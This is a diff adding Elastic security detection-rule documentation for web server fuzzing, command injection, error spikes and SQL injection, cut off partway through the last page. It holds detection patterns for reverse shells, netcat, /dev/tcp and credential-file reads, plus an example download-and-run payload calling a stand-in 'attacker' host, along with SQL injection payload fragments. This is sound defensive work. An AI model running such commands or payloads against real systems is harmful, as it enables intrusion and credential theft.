a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-discovery-or-fuzzing-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-discovery-or-fuzzing-activity.asciidoc new file mode 100644 index 0000000000..1dc42cc853 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-discovery-or-fuzzing-activity.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-web-server-discovery-or-fuzzing-activity]] +=== Web Server Discovery or Fuzzing Activity + +This rule detects potential web server discovery or fuzzing activity by identifying a high volume of HTTP GET requests resulting in 404 or 403 status codes from a single source IP address within a short timeframe. Such patterns may indicate that an attacker is attempting to discover hidden or unlinked resources on a web server, which can be a precursor to more targeted attacks. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Tactic: Reconnaissance +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Data Source: IIS +* Data Source: Traefik +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Web Application Attack +* Rule Type: ES|QL +* Service: Nginx +* Service: IIS +* Service: Apache Tomcat +* Service: Apache HTTP Server + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Server Discovery or Fuzzing Activity* + + +This rule flags a single origin generating a rapid burst of GET requests that produce many 404/403 responses, a hallmark of automated web discovery or fuzzing. Attackers commonly run wordlist-driven enumeration to probe paths such as /admin/, /login, /backup.zip, /.env, /.git/, and undocumented API routes, gauging which resources exist and where access controls fail. Detecting this reconnaissance early helps prevent subsequent targeted exploitation of newly found endpoints and weak authentication flows. + + +*Possible investigation steps* + + +- Correlate user-agent, TLS JA3/JA4, Host/SNI, and X-Forwarded-For to fingerprint the client, identify common fuzzing tools or disguised automation, and recover the true origin if traffic traversed a CDN or proxy. +- Summarize the top requested paths and response codes for this source to spot any 2xx or 401 outcomes amid the denials, flagging hits on sensitive locations such as /.env, /.git, /admin interfaces, backups, installer scripts, and undocumented API routes. +- Pivot to the same timeframe for adjacent web and authentication activity from this origin to see whether POSTs, credential attempts, or parameterized requests followed the enumeration, indicating progression toward exploitation or spraying. +- Review WAF/CDN and reverse-proxy logs for blocks, challenges, or rate limiting and whether multiple virtual hosts were targeted via the Host header, confirming if and how far requests reached the application tier. +- Validate whether the source aligns with approved internal scanners or scheduled testing via inventories and change records, and if not, enrich with ASN/geolocation, reverse DNS, and threat intel to assess reputation and recurrence across your estate. + + +*False positive analysis* + + +- An internal QA link checker or monitoring crawler run from a single host can request hundreds of unique paths and generate many 404/403 GETs when routes, assets, or permissions are misconfigured. +- A shared egress IP (NAT or corporate proxy) aggregating many users during a faulty deployment can trigger high volumes of 404/403 GETs as browsers collectively hit moved or newly restricted resources. + + +*Response and remediation* + + +- Immediately rate-limit or block the offending source IP at the WAF/CDN and reverse proxy, applying a challenge or temporary ban to the observed User-Agent and JA3/JA4 fingerprint driving the 500+ unique-path 404/403 GET burst. +- If traffic came through a proxy or CDN, use X-Forwarded-For to identify and block the true origin, and add a temporary ASN or geolocation block if the source aligns with known scanner networks. +- Verify whether the source is an approved internal scanner; if not, disable the job or container, remove any scheduled tasks and API keys used, and notify the owner to stop testing against production immediately. +- Review the requested path list to identify any 2xx or 401 hits and remediate exposures such as accessible /.env, /.git, /admin interfaces, backup archives, or installer scripts by removing files, disabling endpoints, and rotating secrets. +- Escalate to incident response if enumeration persists after blocking, pivots to POSTs or credential attempts, originates from rotating IPs (Tor/VPN/residential), or produces 2xx on sensitive endpoints despite WAF rules. +- Harden the web tier by enabling per-IP rate limiting and bot challenges, turning off directory listing and default app endpoints, blocking patterns like /.git/, /.env, and /backup.zip at the WAF, and restricting origin access to CDN egress only. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-* +| where + http.request.method == "GET" and + http.response.status_code in (404, 403) + +| eval Esql.url_original_to_lower = to_lower(url.original) + +| keep + @timestamp, + data_stream.dataset, + http.request.method, + http.response.status_code, + source.ip, + agent.id, + agent.name, + Esql.url_original_to_lower, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.url_original_count_distinct = count_distinct(Esql.url_original_to_lower), + Esql.agent_name_values = values(agent.name), + Esql.agent_id_values = values(agent.id), + Esql.http_request_method_values = values(http.request.method), + Esql.http_response_status_code_values = values(http.response.status_code), + Esql.url_original_values = values(Esql.url_original_to_lower), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by source.ip +| where + Esql.event_count > 500 and Esql.url_original_count_distinct > 250 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Vulnerability Scanning +** ID: T1595.002 +** Reference URL: https://attack.mitre.org/techniques/T1595/002/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-potential-command-injection-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-potential-command-injection-request.asciidoc new file mode 100644 index 0000000000..59a744f767 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-potential-command-injection-request.asciidoc @@ -0,0 +1,286 @@ +[[prebuilt-rule-8-19-34-web-server-potential-command-injection-request]] +=== Web Server Potential Command Injection Request + +This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Tactic: Reconnaissance +* Tactic: Persistence +* Tactic: Execution +* Tactic: Credential Access +* Tactic: Command and Control +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Data Source: IIS +* Data Source: Traefik +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Threat: Web Shell +* Threat: Web Application Attack +* Rule Type: ES|QL +* Service: Nginx +* Service: IIS +* Service: Apache Tomcat +* Service: Apache HTTP Server + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Server Potential Command Injection Request* + + +This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload. + + +*Possible investigation steps* + + +- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent. +- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host. +- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious. +- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability. +- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet. + + +*False positive analysis* + + +- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution. +- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", "nc 10.0.0.1 4444", "busybox", or "chmod +x" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters. + + +*Response and remediation* + + +- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe. +- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request. +- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/*, /dev/shm/*, suspicious files in the webroot), and revert cron/systemd or SSH key changes. +- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations. +- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected. +- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-* +| where + // Limit to 200 response code to reduce noise + http.response.status_code == 200 + +| eval Esql.url_original_to_lower = to_lower(url.original) + +| eval Esql.contains_interpreter = case(Esql.url_original_to_lower like "*python* -c*" or Esql.url_original_to_lower like "*perl* -e*" or Esql.url_original_to_lower like "*ruby* -e*" or Esql.url_original_to_lower like "*ruby* -rsocket*" or Esql.url_original_to_lower like "*lua* -e*" or Esql.url_original_to_lower like "*php* -r*" or Esql.url_original_to_lower like "*node* -e*", 1, 0) +| eval Esql.contains_shell = case(Esql.url_original_to_lower like "*/bin/bash*" or Esql.url_original_to_lower like "*bash*-c*" or Esql.url_original_to_lower like "*/bin/sh*" or Esql.url_original_to_lower rlike "*sh.{1,2}-c*", 1, 0) +| eval Esql.contains_nc = case(Esql.url_original_to_lower like "*netcat*" or Esql.url_original_to_lower like "*ncat*" or Esql.url_original_to_lower rlike """.*nc.{1,2}[0-9]{1,3}(\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*""" or Esql.url_original_to_lower like "*nc.openbsd*" or Esql.url_original_to_lower like "*nc.traditional*" or Esql.url_original_to_lower like "*socat*", 1, 0) +| eval Esql.contains_devtcp = case(Esql.url_original_to_lower like "*/dev/tcp/*" or Esql.url_original_to_lower like "*/dev/udp/*", 1, 0) +| eval Esql.contains_helpers = case((Esql.url_original_to_lower like "*/bin/*" or Esql.url_original_to_lower like "*/usr/bin/*") and (Esql.url_original_to_lower like "*mkfifo*" or Esql.url_original_to_lower like "*nohup*" or Esql.url_original_to_lower like "*setsid*" or Esql.url_original_to_lower like "*busybox*"), 1, 0) +| eval Esql.contains_sus_cli = case(Esql.url_original_to_lower like "*import*pty*spawn*" or Esql.url_original_to_lower like "*import*subprocess*call*" or Esql.url_original_to_lower like "*tcpsocket.new*" or Esql.url_original_to_lower like "*tcpsocket.open*" or Esql.url_original_to_lower like "*io.popen*" or Esql.url_original_to_lower like "*os.execute*" or Esql.url_original_to_lower like "*fsockopen*", 1, 0) +| eval Esql.contains_privileges = case(Esql.url_original_to_lower like "*chmod*+x", 1, 0) +| eval Esql.contains_downloader = case(Esql.url_original_to_lower like "*curl *" or Esql.url_original_to_lower like "*wget *" , 1, 0) +| eval Esql.contains_file_read_keywords = case(Esql.url_original_to_lower like "*/etc/shadow*" or Esql.url_original_to_lower like "*/etc/passwd*" or Esql.url_original_to_lower like "*/root/.ssh/*" or Esql.url_original_to_lower like "*/home/*/.ssh/*" or Esql.url_original_to_lower like "*~/.ssh/*" or Esql.url_original_to_lower like "*/proc/self/environ*", 1, 0) +| eval Esql.contains_base64_cmd = case(Esql.url_original_to_lower like "*base64*-d*" or Esql.url_original_to_lower like "*echo*|*base64*", 1, 0) +| eval Esql.contains_suspicious_path = case(Esql.url_original_to_lower like "*/tmp/*" or Esql.url_original_to_lower like "*/var/tmp/*" or Esql.url_original_to_lower like "*/dev/shm/*" or Esql.url_original_to_lower like "*/root/*" or Esql.url_original_to_lower like "*/home/*/*" or Esql.url_original_to_lower like "*/var/www/*" or Esql.url_original_to_lower like "*/etc/cron.*/*", 1, 0) + +| eval Esql.any_payload_keyword = case( + Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or + Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or + Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0) + +| keep + @timestamp, + Esql.url_original_to_lower, + Esql.any_payload_keyword, + Esql.contains_interpreter, + Esql.contains_shell, + Esql.contains_nc, + Esql.contains_devtcp, + Esql.contains_helpers, + Esql.contains_sus_cli, + Esql.contains_privileges, + Esql.contains_downloader, + Esql.contains_file_read_keywords, + Esql.contains_base64_cmd, + Esql.contains_suspicious_path, + source.ip, + destination.ip, + agent.id, + http.request.method, + http.response.status_code, + user_agent.original, + agent.name, + data_stream.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower), + + // General fields + + Esql.agent_name_values = values(agent.name), + Esql.agent_id_values = values(agent.id), + Esql.url_path_values = values(Esql.url_original_to_lower), + Esql.http.response.status_code_values = values(http.response.status_code), + Esql.user_agent_original_values = values(user_agent.original), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace), + + // Rule Specific fields + Esql.any_payload_keyword_max = max(Esql.any_payload_keyword), + Esql.contains_interpreter_values = values(Esql.contains_interpreter), + Esql.contains_shell_values = values(Esql.contains_shell), + Esql.contains_nc_values = values(Esql.contains_nc), + Esql.contains_devtcp_values = values(Esql.contains_devtcp), + Esql.contains_helpers_values = values(Esql.contains_helpers), + Esql.contains_sus_cli_values = values(Esql.contains_sus_cli), + Esql.contains_privileges_values = values(Esql.contains_privileges), + Esql.contains_downloader_values = values(Esql.contains_downloader), + Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords), + Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd), + Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path) + + by source.ip, agent.id + +| where + // Filter for potential command injection attempts with low event counts to reduce false positives + Esql.any_payload_keyword_max == 1 and Esql.event_count < 5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Vulnerability Scanning +** ID: T1595.002 +** Reference URL: https://attack.mitre.org/techniques/T1595/002/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-potential-spike-in-error-response-codes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-potential-spike-in-error-response-codes.asciidoc new file mode 100644 index 0000000000..8808688a5f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-potential-spike-in-error-response-codes.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-web-server-potential-spike-in-error-response-codes]] +=== Web Server Potential Spike in Error Response Codes + +This rule detects unusual spikes in error response codes (500, 502, 503, 504) from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Tactic: Reconnaissance +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Data Source: IIS +* Data Source: Traefik +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Threat: Web Application Attack +* Rule Type: ES|QL +* Service: Nginx +* Service: IIS +* Service: Apache Tomcat +* Service: Apache HTTP Server + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Server Potential Spike in Error Response Codes* + + +This rule detects bursts of 5xx errors (500–504) from GET traffic, highlighting abnormal server behavior that accompanies active scanning or fuzzing and exposes fragile code paths or misconfigured proxies. Attackers sweep common and generated endpoints while mutating query params and headers—path traversal, template syntax, large payloads—to repeatedly force backend exceptions and gateway timeouts, enumerate which routes fail, and pinpoint inputs that leak stack traces or crash components for follow-on exploitation. + + +*Possible investigation steps* + + +- Plot error rates per minute by server and client around the alert window to confirm the spike, determine scope, and separate a single noisy client from a platform-wide issue. +- Aggregate the failing URL paths and query strings from the flagged client and look for enumeration sequences, traversal encoding, template injection markers, or oversized inputs indicative of fuzzing. +- Examine User-Agent, Referer, header mix, and TLS JA3 for generic scanner signatures or reuse across multiple clients, and enrich the originating IP with reputation and hosting-provider attribution. +- Correlate the timeframe with reverse proxy/WAF/IDS and application error logs or stack traces to identify which routes threw exceptions or timeouts and whether they align with the client’s input patterns. +- Validate backend and dependency health (upstreams, databases, caches, deployments) to rule out infrastructure regressions, then compare whether only the suspicious client experiences disproportionate failures. + + +*False positive analysis* + + +- A scheduled deployment or upstream dependency issue can cause normal GET traffic to fail with 502/503/504, and many users egressing through a shared NAT or reverse proxy may be aggregated as one source IP that triggers the spike. +- An internal health-check, load test, or site crawler running from a single host can rapidly traverse endpoints and induce 500 errors on fragile routes, mimicking scanner-like behavior without malicious intent. + + +*Response and remediation* + + +- Immediately rate-limit or block the originating client(s) at the edge (reverse proxy/WAF) using the observed source IPs, User-Agent/TLS fingerprints, and the failing URL patterns generating 5xx bursts. +- Drain the origin upstream(s) showing repeated 500/502/503/504 on the probed routes, roll back the latest deployment or config change for those services, and disable any unstable endpoint or plugin that is crashing under input fuzzing. +- Restart affected application workers and proxies, purge bad cache entries, re-enable traffic gradually with canary percentage, and confirm normal response rates via synthetic checks against the previously failing URLs. +- Escalate to Security Operations and Incident Response if 5xx spikes persist after blocking or if error pages expose stack traces, credentials, or admin route disclosures, or if traffic originates from multiple global hosting ASNs. +- Deploy targeted WAF rules for path traversal and injection markers seen in the URLs, enforce per-IP and per-route rate limits, tighten upstream timeouts/circuit breakers, and replace verbose error pages with generic responses that omit stack details. +- Add bot management and IP reputation blocking at the CDN/edge, lock down unauthenticated access to admin/debug routes, and instrument alerts that trigger on sustained 5xx bursts per client and per route with automatic edge throttling. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-* +| where + http.request.method == "GET" and + http.response.status_code in ( + 500, // Internal Server Error + 502, // Bad Gateway + 503, // Service Unavailable + 504 // Gateway Timeout + ) + +| eval Esql.url_original_to_lower = to_lower(url.original) + +| keep + @timestamp, + data_stream.dataset, + http.request.method, + http.response.status_code, + source.ip, + agent.id, + agent.name, + Esql.url_original_to_lower, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.http_response_status_code_count = count(http.response.status_code), + Esql.http_response_status_code_values = values(http.response.status_code), + Esql.agent_name_values = values(agent.name), + Esql.agent_id_values = values(agent.id), + Esql.http_request_method_values = values(http.request.method), + Esql.http_response_status_code_values = values(http.response.status_code), + Esql.url_path_values = values(Esql.url_original_to_lower), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by source.ip, agent.id +| where + Esql.http_response_status_code_count > 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Vulnerability Scanning +** ID: T1595.002 +** Reference URL: https://attack.mitre.org/techniques/T1595/002/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-potential-sql-injection-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-potential-sql-injection-request.asciidoc new file mode 100644 index 0000000000..57cc0e96d3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-potential-sql-injection-request.asciidoc @@ -0,0 +1,252 @@ +[[prebuilt-rule-8-19-34-web-server-potential-sql-injection-request]] +=== Web Server Potential SQL Injection Request + +This rule detects potential SQL injection attempts in web server requests by identifying common SQL injection patterns in URLs. Such activity may indicate reconnaissance or exploitation attempts by attackers trying to manipulate backend databases or extract sensitive information. + +*Rule type*: eql + +*Rule indices*: + +* logs-nginx.access-* +* logs-apache.access-* +* logs-apache_tomcat.access-* +* logs-iis.access-* +* logs-traefik.access-* +* logs-zeek.http-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Domain: Network +* Use Case: Threat Detection +* Tactic: Reconnaissance +* Tactic: Credential Access +* Tactic: Persistence +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Data Source: IIS +* Data Source: Traefik +* Data Source: Zeek +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Web Application Attack +* Rule Type: Event Correlation (EQL) +* Service: Nginx +* Service: IIS +* Service: Apache Tomcat +* Service: Apache HTTP Server + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Web Server Potential SQL Injection Request* + + +SQL injection (SQLi) attempts to manipulate backend database queries via unsanitized +input passed through web request parameters. This rule flags requests whose URL or +query string contains structural patterns characteristic of automated SQLi tooling +(sqlmap and similar) or manual exploitation techniques, spanning boolean-blind, +time-based, error-based, and UNION-based extraction methods across MySQL, MSSQL, +PostgreSQL, and Oracle syntax. + + +*Possible investigation steps* + + +- Identify the full request and response context: + - `url.original` / `url.query` — full injected payload + - `http.request.method`, `http.response.status_code` — was the request accepted (2xx) or rejected (4xx/5xx/WAF block)? + - `source.ip`, `source.as.organization.name`, `source.geo.*` — is this a known scanner IP, hosting/VPS ASN, or unexpected geography for this application's userbase? + - `user_agent.original` — check for tool signatures (`sqlmap`, `Assetnote`, `Nessus`, `Nuclei`, etc.) vs. a spoofed browser UA +- Determine which SQLi technique is present, since it changes the likely intent and next steps: + - **Boolean-blind** (`AND 1=1--`, `CASE WHEN...THEN...ELSE`) — attacker inferring true/false conditions one bit/char at a time; usually high request volume against the same parameter + - **Time-based blind** (`SLEEP`, `BENCHMARK`, `WAITFOR DELAY`, `pg_sleep`) — look for abnormal response latency on matching requests to confirm exploitation succeeded vs. was blocked + - **Error-based** (`EXTRACTVALUE`, `UPDATEXML`, `GTID_SUBSET`, `CONVERT(INT,...)`) — check `http.response.status_code`/body for a 500 or a reflected DB error message; if present, the attacker likely received leaked data directly + - **UNION-based** (`UNION SELECT NULL,...`, `UNION ALL SELECT...CONCAT(MD5(...`) — attacker is enumerating column count or confirming a reflection point to pull data directly into the page body + - **Stacked queries** (`;SELECT...`, `;EXEC xp_cmdshell`) — most severe; if the DB driver allows multiple statements, this can lead to command execution (`xp_cmdshell`) rather than just data disclosure +- Pivot on the target parameter and endpoint (e.g. `url.path`, the specific query-string key such as `id=`, `sort=`, `column=`) to see: + - How many distinct payloads/techniques were tried against the same parameter (suggests automated technique-fuzzing by a single tool run) + - Whether the same `source.ip` hit multiple endpoints/parameters (broader scan) or repeatedly refined one payload (targeted exploitation attempt) +- Check for a correlated spike in requests from the same IP/ASN in a tight time window — sqlmap and similar tools generate many rapid, near-identical requests when fuzzing technique/column count/character position. +- If the backend database technology is known, cross-check the payload's SQL dialect (MySQL vs. MSSQL vs. PostgreSQL functions) against what the application actually runs — a payload using the wrong dialect's functions will simply error out and fail, lowering severity. +- If available, correlate with database-side audit logs (e.g. MSSQL Audit `event.code: 33205`, slow query logs) for the same timeframe/client IP to confirm whether the payload actually reached and executed against the database. + + +*False positive analysis* + + +- **Vulnerability scanners and security tooling** are the most common source of noise: Assetnote, Burp Suite, Qualys, Nessus, Acunetix, and similar tools intentionally send these exact payloads as part of authorized scanning. Check `user_agent.original` for scanner signatures and cross-reference `source.ip`/ASN against your organization's known scanning infrastructure or third-party ASM vendor. +- Legitimate application traffic containing SQL-like keywords is rare given the specificity of these patterns (chained `CHAR()` calls, `ELT(n=n,1)` self-comparisons, hex-delimited `CONCAT`), but verify against applications that accept raw SQL fragments as legitimate input (e.g., internal admin/reporting tools with a "custom query" field) if any exist in your environment. +- Consider adding a suppression/exception for confirmed, recurring authorized scanning sources rather than tuning the query patterns themselves, 